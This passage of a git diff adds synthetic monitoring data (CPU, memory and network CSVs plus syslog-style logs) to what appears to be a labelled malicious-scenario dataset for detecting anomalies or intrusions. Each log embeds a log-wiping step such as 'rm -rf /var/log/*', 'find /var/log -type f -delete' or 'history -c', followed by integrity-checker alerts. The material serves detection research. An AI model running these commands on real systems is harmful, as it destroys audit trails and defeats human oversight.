unknown[192.0.2.88] +Sep 05 12:01:35 mailserver postfix/smtpd[4599]: disconnect from unknown[192.0.2.88] ehlo=1 auth=0/1 commands=1/2 +Sep 05 12:02:05 mailserver su[4621]: (to root) ubuntu on pts/0 +Sep 05 12:02:10 mailserver syslog-ng[1234]: syslog-ng starting up; version='3.5.6' +Sep 05 12:02:35 mailserver kernel: [6995.654321] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/ntpd" name="/run/ntp/ntpd.sock" pid=1345 comm="ntpd" requested_mask="wr" denied_mask="wr" fsuid=0 ouid=0 +Sep 05 12:02:40 mailserver auditd[887]: type=EXECVE msg=audit(1725547360.215:105): argc=4 a0="/bin/rm" a1="-rf" a2="/var/log/*" +Sep 05 12:03:10 mailserver aide[2101]: AIDE found differences between database and filesystem!! +Sep 05 12:03:11 mailserver aide[2101]: Deleted file: /var/log/auth.log +Sep 05 12:03:12 mailserver aide[2101]: Deleted file: \ No newline at end of file diff --git a/mali_dataset/scenario_10/mali_10_2.csv b/mali_dataset/scenario_10/mali_10_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..fa4e88edfe800239206d3bf089e594ec6fb6f6fb --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.798914845616848,39.40606136876627,33.78577613908774,0.9815377918268777,1.2504788221944232 +2025-07-02T12:00:05Z,16.346214439486946,40.55014626298956,30.07899363349666,0.7284596315627534,0.9801130448348239 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b/mali_dataset/scenario_10/mali_10_2.log new file mode 100644 index 0000000000000000000000000000000000000000..1ee95214ae15ec25ed45f4c9ee339e3eac9b5246 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_2.log @@ -0,0 +1,43 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:00:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:02:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:03:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:03:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:45 user-pc root: history: 101 rm -rf /var/log/* +Jul 02 12:04:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:04:10 aide[6789]: AIDE found differences between database and filesystem! +Jul 02 12:04:10 aide[6789]: File: /var/log/auth.log has been removed! +Jul 02 12:04:10 aide[6789]: File: /var/log/syslog has been removed! +Jul 02 12:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:07:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:07:05 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_10/mali_10_3.csv b/mali_dataset/scenario_10/mali_10_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..c6e8d3aa1705a74f8821fc3e5d62c7d29e42ee22 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T10:00:00Z,10.798914845616848,34.109092053149396,28.785776139087737,0.9815377918268777,1.6006384295925642 +2025-08-29T10:00:05Z,11.346214439486946,35.825219394484336,25.07899363349666,0.7284596315627534,1.2401507264464318 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0000000000000000000000000000000000000000..4c3146b4e19490a01bbb5f7e8f9449d1043d249d --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_3.log @@ -0,0 +1,24 @@ +Aug 29 10:00:00 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:00:17 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:00:30 systemd[1]: Starting daily network maintenance... +Aug 29 10:00:51 systemd[1]: Starting daily network maintenance... +Aug 29 10:01:05 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:01:17 systemd[1]: Starting daily network maintenance... +Aug 29 10:01:42 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:02:01 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:22 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:38 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:52 systemd[1]: Starting daily network maintenance... +Aug 29 10:03:10 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:03:48 systemd[1]: Starting daily network maintenance... +Aug 29 10:04:05 CRON[9981]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:04:26 CRON[9981]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:04:49 systemd[1]: Starting daily network maintenance... +Aug 29 10:05:01 root: cat /dev/null > /var/log/auth.log +Aug 29 10:05:02 root: rm /var/log/syslog +Aug 29 10:05:10 tripwire[5555]: ALERT: Integrity check failed. File deleted: /var/log/syslog +Aug 29 10:05:12 tripwire[5555]: ALERT: Integrity check failed. File changed: /var/log/auth.log +Aug 29 10:05:27 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded +Aug 29 10:06:05 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded +Aug 29 10:06:48 web-app[2048]: GET /api/v1/data status=200 OK +Aug 29 10:07:23 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded diff --git a/mali_dataset/scenario_10/mali_10_4.csv b/mali_dataset/scenario_10/mali_10_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ea0e820d7dcbe733ddeb6b57876917d2b8e4e0d --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,22.14,39.28,26.28,1.67,0.79 +2025-07-02T12:00:05Z,15.91,43.47,31.11,1.42,1.04 +2025-07-02T12:00:10Z,15.16,42.16,31.75,1.75,1.05 +2025-07-02T12:00:15Z,16.86,39.85,33.81,1.33,1.14 +2025-07-02T12:00:20Z,19.12,38.14,31.18,1.58,1.05 +2025-07-02T12:00:25Z,16.7,42.04,24.96,1.82,0.66 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+2025-07-02T12:07:10Z,17.22,38.68,29.52,1.48,0.82 +2025-07-02T12:07:15Z,15.35,41.15,23.99,1.33,1.28 +2025-07-02T12:07:20Z,16.39,40.28,28.78,1.14,1.27 +2025-07-02T12:07:25Z,9.62,39.24,31.17,1.39,1.07 diff --git a/mali_dataset/scenario_10/mali_10_4.log b/mali_dataset/scenario_10/mali_10_4.log new file mode 100644 index 0000000000000000000000000000000000000000..48dc57ec6ff1017da0dc57be1078336cce2e62e6 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_4.log @@ -0,0 +1,38 @@ +Jul 02 12:00:00 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:00:00 server CRON[1800]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:00:10 server sshd[1902]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:00:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:00:35 server CRON[1807]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:00:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:00 server sshd[1912]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:01:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:10 server CRON[1814]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:01:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:45 server CRON[1821]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:01:50 server sshd[1922]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:02:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:20 server CRON[1828]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:02:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:30 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:02:40 server sshd[1932]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:02:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:55 server CRON[1835]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:03:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:30 server CRON[1842]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:03:30 server sshd[1942]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:03:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:45 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:04:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:04:05 server CRON[1849]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:04:20 server sshd[1952]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:04:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:04:40 server CRON[1856]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:04:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:05:00 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/sh -c find /var/log -type f -delete +Jul 02 12:05:05 server AIDE[5123]: File /var/log/syslog has been removed. +Jul 02 12:05:05 server AIDE[5123]: File /var/log/auth.log has been removed. +Jul 02 12:06:15 server kernel: [ 18375.123456] usb 1-1: new high-speed USB device number 75 using xhci_hcd diff --git a/mali_dataset/scenario_10/mali_10_5.csv b/mali_dataset/scenario_10/mali_10_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..e8ca828d9857c609827ff36a4ce6a2ca4af71f42 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T10:00:00Z,19.76,39.46,26.28,1.12,0.59 +2025-08-29T10:00:05Z,15.6,42.6,31.11,0.95,0.84 +2025-08-29T10:00:10Z,15.1,41.62,31.75,1.16,0.85 +2025-08-29T10:00:15Z,16.24,39.88,33.81,0.89,0.94 +2025-08-29T10:00:20Z,17.74,38.6,31.18,1.05,0.85 +2025-08-29T10:00:25Z,16.13,41.53,24.96,1.22,0.46 +2025-08-29T10:00:30Z,12.12,39.94,33.39,0.88,0.54 +2025-08-29T10:00:35Z,17.28,42.65,29.21,1.08,0.73 +2025-08-29T10:00:40Z,13.51,39.88,28.57,1.34,0.68 +2025-08-29T10:00:45Z,14.91,39.24,25.9,0.97,0.59 +2025-08-29T10:00:50Z,12.99,40.66,25.98,0.67,0.64 +2025-08-29T10:00:55Z,17.13,41.13,34.54,0.86,0.63 +2025-08-29T10:01:00Z,14.91,42.04,29.02,1.07,0.72 +2025-08-29T10:01:05Z,15.2,40.18,29.52,0.96,1.06 +2025-08-29T10:01:10Z,15.6,41.24,26.16,1.04,0.92 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0000000000000000000000000000000000000000..9ecb1de042acefaecce9a2100a198142c6422d0c --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_5.log @@ -0,0 +1,38 @@ +Aug 29 10:00:00 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:00:00 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:00:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:00:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:35 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:00:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:50 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:01:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:01:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:10 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:01:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:40 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:01:45 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:01:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:02:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:20 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:02:30 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:02:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:55 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:03:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:03:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:20 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:03:30 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:03:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:45 server bash[12399]: history -c +Aug 29 10:03:45 server bash[12399]: rm /var/log/auth.log +Aug 29 10:03:45 server bash[12399]: cat /dev/null > /var/log/syslog +Aug 29 10:05:00 server systemd[1]: Started Session 60 of user root. +Aug 29 10:05:00 server kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 29 10:06:15 server systemd[1]: Started Session 75 of user root. +Aug 29 10:06:40 server kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod diff --git a/mali_dataset/scenario_10/mali_10_6.csv b/mali_dataset/scenario_10/mali_10_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..fa4e88edfe800239206d3bf089e594ec6fb6f6fb --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.798914845616848,39.40606136876627,33.78577613908774,0.9815377918268777,1.2504788221944232 +2025-07-02T12:00:05Z,16.346214439486946,40.55014626298956,30.07899363349666,0.7284596315627534,0.9801130448348239 +2025-07-02T12:00:10Z,13.898652881743217,39.099079196563515,30.227055148701922,1.3113749152135548,0.9225517123527328 +2025-07-02T12:00:15Z,12.321115282569952,39.20602682814279,36.32715854916011,0.9019706080683183,0.9715363453736311 +2025-07-02T12:00:20Z,12.265421764998736,39.79075519790616,34.55927139958865,1.2648260149673085,0.9447610329077035 +2025-07-02T12:00:25Z,16.197843253970962,39.215631763456486,22.86544025339413,0.9812581802156932,0.7052780418824988 +2025-07-02T12:00:30Z,12.945737127136082,39.24316211776343,30.030583837352292,0.8720811336935399,0.5260296954147956 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+2025-07-02T12:07:15Z,14.541371293543353,40.25484862861324,42.65435152932851,1.1519379724752494,0.7793411369574622 +2025-07-02T12:07:20Z,16.53513160584679,41.42284142287101,29.050069163219945,0.8970991172338585,0.8398972382577304 +2025-07-02T12:07:25Z,13.711794877255612,38.7911948249387,31.67401322090828,0.882776379257952,0.5722053151262158 diff --git a/mali_dataset/scenario_10/mali_10_6.log b/mali_dataset/scenario_10/mali_10_6.log new file mode 100644 index 0000000000000000000000000000000000000000..1ee95214ae15ec25ed45f4c9ee339e3eac9b5246 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_6.log @@ -0,0 +1,43 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:00:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:02:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:03:00 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:03:40 sshd[4567]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 12:03:45 user-pc root: history: 101 rm -rf /var/log/* +Jul 02 12:04:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:04:10 aide[6789]: AIDE found differences between database and filesystem! +Jul 02 12:04:10 aide[6789]: File: /var/log/auth.log has been removed! +Jul 02 12:04:10 aide[6789]: File: /var/log/syslog has been removed! +Jul 02 12:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:07:00 systemd[1]: Starting session c123 of user root. +Jul 02 12:07:05 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_10/mali_10_7.csv b/mali_dataset/scenario_10/mali_10_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..c6e8d3aa1705a74f8821fc3e5d62c7d29e42ee22 --- /dev/null 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+2025-08-29T10:07:20Z,11.53513160584679,37.13426213430652,24.050069163219945,0.8970991172338585,1.0531963176769739 +2025-08-29T10:07:25Z,8.711794877255612,33.18679223740805,26.67401322090828,0.882776379257952,0.6962737535016209 diff --git a/mali_dataset/scenario_10/mali_10_7.log b/mali_dataset/scenario_10/mali_10_7.log new file mode 100644 index 0000000000000000000000000000000000000000..4c3146b4e19490a01bbb5f7e8f9449d1043d249d --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_7.log @@ -0,0 +1,24 @@ +Aug 29 10:00:00 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:00:17 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:00:30 systemd[1]: Starting daily network maintenance... +Aug 29 10:00:51 systemd[1]: Starting daily network maintenance... +Aug 29 10:01:05 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:01:17 systemd[1]: Starting daily network maintenance... +Aug 29 10:01:42 web-app[2048]: GET /api/v1/status status=200 OK +Aug 29 10:02:01 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:22 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:38 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:02:52 systemd[1]: Starting daily network maintenance... +Aug 29 10:03:10 sshd[8812]: Accepted password for user admin from 192.168.1.10 port 2222 ssh2 +Aug 29 10:03:48 systemd[1]: Starting daily network maintenance... +Aug 29 10:04:05 CRON[9981]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:04:26 CRON[9981]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:04:49 systemd[1]: Starting daily network maintenance... +Aug 29 10:05:01 root: cat /dev/null > /var/log/auth.log +Aug 29 10:05:02 root: rm /var/log/syslog +Aug 29 10:05:10 tripwire[5555]: ALERT: Integrity check failed. File deleted: /var/log/syslog +Aug 29 10:05:12 tripwire[5555]: ALERT: Integrity check failed. File changed: /var/log/auth.log +Aug 29 10:05:27 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded +Aug 29 10:06:05 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded +Aug 29 10:06:48 web-app[2048]: GET /api/v1/data status=200 OK +Aug 29 10:07:23 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded diff --git a/mali_dataset/scenario_10/mali_10_8.csv b/mali_dataset/scenario_10/mali_10_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ea0e820d7dcbe733ddeb6b57876917d2b8e4e0d --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,22.14,39.28,26.28,1.67,0.79 +2025-07-02T12:00:05Z,15.91,43.47,31.11,1.42,1.04 +2025-07-02T12:00:10Z,15.16,42.16,31.75,1.75,1.05 +2025-07-02T12:00:15Z,16.86,39.85,33.81,1.33,1.14 +2025-07-02T12:00:20Z,19.12,38.14,31.18,1.58,1.05 +2025-07-02T12:00:25Z,16.7,42.04,24.96,1.82,0.66 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+2025-07-02T12:07:10Z,17.22,38.68,29.52,1.48,0.82 +2025-07-02T12:07:15Z,15.35,41.15,23.99,1.33,1.28 +2025-07-02T12:07:20Z,16.39,40.28,28.78,1.14,1.27 +2025-07-02T12:07:25Z,9.62,39.24,31.17,1.39,1.07 diff --git a/mali_dataset/scenario_10/mali_10_8.log b/mali_dataset/scenario_10/mali_10_8.log new file mode 100644 index 0000000000000000000000000000000000000000..48dc57ec6ff1017da0dc57be1078336cce2e62e6 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_8.log @@ -0,0 +1,38 @@ +Jul 02 12:00:00 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:00:00 server CRON[1800]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:00:10 server sshd[1902]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:00:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:00:35 server CRON[1807]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:00:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:00 server sshd[1912]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:01:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:10 server CRON[1814]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:01:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:01:45 server CRON[1821]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:01:50 server sshd[1922]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:02:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:20 server CRON[1828]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:02:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:30 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:02:40 server sshd[1932]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:02:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:02:55 server CRON[1835]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:03:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:30 server CRON[1842]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:03:30 server sshd[1942]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:03:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:03:45 server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:04:00 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:04:05 server CRON[1849]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:04:20 server sshd[1952]: Accepted password for user admin from 192.168.1.10 port 55432 ssh2 +Jul 02 12:04:20 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:04:40 server CRON[1856]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:04:40 server auth.log: session opened for user admin by (uid=0) +Jul 02 12:05:00 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/sh -c find /var/log -type f -delete +Jul 02 12:05:05 server AIDE[5123]: File /var/log/syslog has been removed. +Jul 02 12:05:05 server AIDE[5123]: File /var/log/auth.log has been removed. +Jul 02 12:06:15 server kernel: 